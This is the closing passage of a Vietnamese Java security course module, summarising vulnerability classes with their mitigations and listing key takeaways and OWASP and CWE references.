| Deserialization | Không dùng ObjectInputStream, JSON thay thế, ObjectInputFilter |
| XXE | Disable DOCTYPE, external entities |
| ReDoS | Tránh nested quantifiers, timeout |
| Broken Access Control | Kiểm tra quyền ở mọi endpoint |
| Dependency Vulnerabilities | OWASP Dependency-Check, update thường xuyên |
| Secrets Exposure | Environment variables, KeyStore, never hardcode |
Key takeaways:
- Bảo mật là quá trình liên tục, không phải one-time task
- Defense in Depth — không dựa vào một tầng bảo vệ duy nhất
- Update dependencies — Log4Shell là bài học đắt giá
- Shift Left — tích hợp security vào quy trình development từ đầu
- Dùng tools tự động (SpotBugs, FindSecBugs, OWASP Dependency-Check) trong CI/CD
Tài liệu tham khảo
- OWASP Top 10 2021 — Danh sách 10 rủi ro bảo mật phổ biến nhất
- CWE — Common Weakness Enumeration — Database các lỗ hổng bảo mật phần mềm
- OWASP Java Security Cheat Sheet
- Oracle Secure Coding Guidelines for Java
- FindSecBugs — Security Audits for Java
- Log4Shell (CVE-2021-44228) Analysis — Chi tiết về lỗ hổng Log4Shell
"Security is a process, not a product." — Bruce Schneier
Chúc mừng bạn đã hoàn thành Module 12: Java Security! Tiếp theo, hãy khám phá Module 13: JVM Internals & Memory để hiểu sâu hơn về cách JVM hoạt động bên trong.